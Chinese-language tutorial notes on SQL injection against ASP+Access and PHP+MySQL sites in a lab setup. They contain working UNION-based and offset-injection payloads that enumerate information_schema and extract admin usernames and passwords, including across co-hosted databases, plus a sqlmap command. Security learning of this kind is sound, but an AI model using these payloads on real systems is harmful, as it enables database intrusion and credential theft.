SQL注入(数据库注入)

➢ASP+Access-简易注入-字典猜解
➢ASP+Access-偏移注入-报错显示
➢PHP+MYSQL-简易注入-存储特性
➢PHP+MYSQL-跨库注入-权限属性

前置知识:

SQL注入漏洞产生原理分析
SQL注入漏洞危害利用分析
脚本代码与数据库操作流程
数据库名,表名,列名,数据
数据库类型,数据库用户,用户权限

定义

定义 :脚本代码在实现代码与数据库进行数据通讯时(从数据库取出相关数据进行页面显示),将定义的SQL语句进行执行查询数据时。
其中的SQL语句能通过参数传递自定义值来实现控制SQL语句,从而执行恶意的SQL语句,可以实现查询其他数据(数据库中的敏感数据,如管理员帐号密码)。
这一个过程就可以叫做SQL注入漏洞。
简单来说,根据代码逻辑存在的问题,使用自定义的sql语句去随便查查数据。
危害 : 获取管理员的账户密码,操作数据库内的数据。

sql语句是查询操作,不能乱写。

漏洞产生根本条件:可控变量 特定函数

操作变量和特定函数的过程中所产生的漏洞,例如无法检测语句后面是否被注释掉,产生注入。

正常访问网站时:
http://192.168.46.160:85/Production/PRODUCT.asp
http://192.168.46.160:85/Production/PRODUCT.asp?id=1513

如果下面的URL地址测试注入判断id有注入,手工测试该如何进行?
http://192.168.46.160:85/Production/PRODUCT.asp?id=1513&page=1
http://192.168.46.160:85/Production/PRODUCT.asp?page=1&id=1513

Production/PRODUCT.asp?id=1513 注入语句&page=1 =>对 => 注入语句必须放到最后
Production/PRODUCT.asp?id=1513&page=1 注入语句 =>错

SQL注入攻击流程&数据库基本概念

1、猜测数据库类型
2、根据类型选择思路

数据库基本概念

独立型数据库

ACCESS 独立存在,简单来说可以直接塞到网站根目录,但Mysql不行。
单独以文件形式存在,可以放在任何位置。

- 数据库结构:
数据库名
表名
列名
数据

统管型数据库

MYSQL 统一管理数据库

  • 一个连接下可以同时存在数个数据库
  • 每个数据库相对独立,各自管理一个网站
最高数据库用户=root用户
=> 统一管理下,一库对应一源码,也对应不同网站
=> 一个库名一个网站-->n张表-->每个表n列字段m行数据
=> 如果取得MYSQL最高用户root,极有可能一次性危害所有的在这个统一管理下的网站!
数据库A=网站A=数据库用户A
表名
列名
数据

数据库B=网站B=数据库用户B
数据库C=网站C=数据库用户C

Access+MySQL攻击

➢ASP+Access-简易注入-字典猜解
➢ASP+Access-偏移注入-报错显示
➢PHP+MYSQL-简易注入-存储特性
➢PHP+MYSQL-跨库注入-权限属性

为了网站和数据库的安全性,MYSQL内置有ROOT最高用户,划分等级,每个用户对应管理一个数据库,这样保证无不关联,从而不会影响到其他数据库的运行。

ASP+Access注入

  • 偏移注入-报错提示
  • 简易注入-字典猜解

偏移注入

由于Access数据库特性导致这个SQL注入是需要借助字典去猜解表名和列名的,那么就会出现表名或列名猜解不到,可以自定义社工字典或采用偏移注入!
总结:根据前期信息收集创建新字典,拆解表名和列名。

源博客:
https://www.cnblogs.com/02SWD/p/15811580.html
https://blog.csdn.net/u014029795/article/details/91150847

偏移注入--0级偏移
?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
偏移注入--1级偏移
?id=1513 union select top 1 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, * from admin
偏移注入--2级偏移
?id=1513 union select top 1 1,2,3,4,5,6,7,8,9,10,* from admin
偏移注入--3级偏移+字段爆破
?id=1513 union select top 1 1,2,3,4,* from((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

微调版payload:
?id=1513 union select top 1 1,2,3,4,5,6,7,8,9,10,b.id, * from (admin a inner join admin b on a.id=b.id)

表名知道但是列名不知道。 ==> 都查不到,直接放弃。

偏移注入就是解决表名已知,列名未知的情况!

报错显示

利用报错信息拆解源码信息以及数据库相关报错信息。也可以利用源码拆解数据库的查询语句。

Mysql注入攻击

  • 简易注入-存储特性
  • 跨库注入-权限属性

MYSQL两种思路

1、非ROOT的注入攻击:常规类的猜解
2、ROOT用户的注入攻击:文件读写操作,跨库查询注入等

- 非ROOT的注入攻击:常规类的猜解
mysql当中
- order by:直接使用xxx order by 1,2,3;也可直接查数字,测出数据表的列数极限。
- union: 联合查询语句,可以在后面拼接上另外依一句select进行查询
=> id =1 union select 1,2,3,4,5,6 from admin
- 查询admin表名:
UNION select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
- 查询admin表名下的admin等列名
UNION select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

黑盒测试中可以采用user()获取当前用户权限,白盒中看连接用户即可!

select * from product where id=1513

information_schema-记录型数据库5.0

MYSQL5.0以上版本:自带的数据库名information_schema,可以查询当前连接下所有的数据库相关的信息。

举个例子:其中的TABLES表记录着所有的数据库中的表名。
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表
=> 注意:information_schema.tables是切换到这个数据库下的tables表的意思


SQL查询获取相关数据:

1、数据库版本
- 看是否符合information_schema查询
- select version();
-> 5.5.532
2、数据库用户-看是否符合ROOT型注入攻击
- select user();
-> root@localhost
3、当前操作系统
- 看是否支持大小写或文件路径选择
- select @@version_compile_os;
- win64
4、数据库名字
- 为后期猜解指定数据库下的表,列做准备(查询的是当前站点的数据库名)
- select database();
- syguestbook

基于MySQL的攻击

ROOT类型攻击 
- 猜解数据,文件读写,跨库查询
猜解数据:获取syguestbook数据库下面的表名信息:
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='syguestbook'

获取表名sy_adminuser的列名信息:
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='sy_adminuser' and table_schema='syguestbook'

获取指定数据:
UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser

跨库注入:实现当前网站跨库查询其他数据库对应网站的数据
获取当前mysql下的所有数据库名
UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata

获取数据库名xhcms下的表名信息(相关库名对应的所有信息)
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='xhcms'

获取数据库名xhcms下的表manage下的列名信息:(相关库名下的表)
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='manage' and table_schema='xhcms'

获取指定数据:(指定 库名.表明查出用户信息)
# 数字被替换掉的原因:这个地方在 查找时被回显到了页面当中,所以被拿来当做输出的窗口
UNION SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from xhcms.manage

mysql思路
1.测试字段大小
?id=1 order by 7

2.完成字段测试(刚好不报错的边缘就是列数长度)后,尝试回显字段有哪些(猜测显示位)
?id=1 union select 1,2,3,4,5,6,7
=> 有显示出结果的地方即是回显的一个信息点,
=> 例如它爆出了2,4,5

3.尝试替换爆出的字段
?id=1 union select 1,version(),3,user(),database(),6,7
=> 4.1.22-standard csearch csearch@localhost

SQLMAP-base64注入

python sqlmap.py -u url?id=MQ== --tamper base64encode.py –dbs